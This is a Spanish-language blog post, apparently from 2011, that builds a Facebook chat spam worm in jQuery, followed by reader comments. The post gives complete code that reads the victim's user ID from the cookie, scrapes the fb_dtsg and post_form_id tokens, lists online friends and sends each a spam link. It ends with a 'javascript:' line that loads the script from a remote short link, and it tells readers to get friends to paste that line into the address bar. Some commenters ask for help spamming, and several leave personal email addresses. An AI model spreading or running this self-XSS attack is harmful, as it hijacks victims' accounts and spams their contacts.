Inicio > JavaScript > Bot Spammer en el chat de Facebook con JQuery

Bot Spammer en el chat de Facebook con JQuery


Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.

Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:

javascript: [CODIGO JAVASCRIPT]

e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.

Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:

  • Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
    http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
  • Envían mensajes a cada usuario conectado:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
    http://www.facebook.com/ajax/chat/send.php?__a=1

    y como parámetro pasan:

    msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest

Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.

  • ID_USUARIO: La sacamos de la cookie de facebook
  • POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
  • FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).

Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:

  1. Entrar a la página principal de Facebook
  2. Sacar las cookies y buscar la ID_USUARIO
  3. Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
  4. Listar Los Usuarios conectados al chat
  5. Enviar un mensaje por cada usuario conectado

Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.

1.- Conectar a la raíz de Facebook y obtener los datos necesarios.

	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
		}
	});

2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});

3.- Debemos enviar un mensaje a cada usuario conectado.

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});

Para terminar nuestro código , agregaré el script de JQuery

/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);

Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48

Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.

javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              

Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.

De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,

Saludos!

  1. abril 25, 2011 a las 12:49 am

    Hola hermano, Dios te bendiga mucho, me interesa tu truco, a ver si podemos hablar para que me guies mejor…

  2. abril 28, 2011 a las 12:33 am

    Buena koala hace tiempo que no veo tu blog y estan bastante interesantes las nuevas entradas, se agradece la información que compartes, saludos.

  3. Manuel
    mayo 3, 2011 a las 11:34 pm

    Me interesa mucho como hacer esto.. pero la verdad es que no entiendo, no tengo mucha cancha. Me gustaria saber si me puedes dar una mano, no es para hacer ninguna maldad, ni mandar spams ofensivos ni nada, solo para divertirme un poco. Si tienes tiempo despues charlamos y me guias un poco bastante. MUY BUEN APORTE, SALUDOS

  4. gustavo
    julio 12, 2011 a las 12:36 am

    esta muy bueno el script, gracias por el aporte :D

  5. juan pablo
    julio 28, 2011 a las 3:11 pm

    Buenisimo el script!! pero como logro mandarselo a todos los contactos y no solo a los que estan conectados?? por que de echo nisiquiera se los manda a todos solo a los que tienes en el panel de la derecha… (lo q cambio en el nuevo chat de facebook), porfavor escribeme a jpeaston@hotmail.com! te lo agradesco demasiado

    • lalo
      febrero 14, 2012 a las 2:31 am

      prueba

  6. octubre 31, 2011 a las 11:01 pm

    Ya no esta funcionando ! :S, si es asi y me equivoco favor responder o enviar en email a bryangonalez@gmail.com

  7. barbara
    noviembre 5, 2011 a las 7:17 pm

    necesito saber komo puedo sakar esto de face q es una paja q te dijan malas palabras por culpa de esto.. gracias macarena.aggro@gmail.com responde pliss

  8. Gonzalein's
    noviembre 6, 2011 a las 1:03 am

    Ya no funciona, reponder a g_rod@live.cl

  9. diciembre 5, 2011 a las 7:38 pm

    Hey men! y si mejor haces un video?? seria buena idea compartirlo ya que es muy buen truco y bastante bueno, la verdad :)

  10. diciembre 13, 2011 a las 9:55 pm

    no funciona enviarme mensaje desordenatefm@hotmail.es

  11. fu
    enero 12, 2012 a las 6:50 pm
  1. diciembre 2, 2013 a las 12:21 pm

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: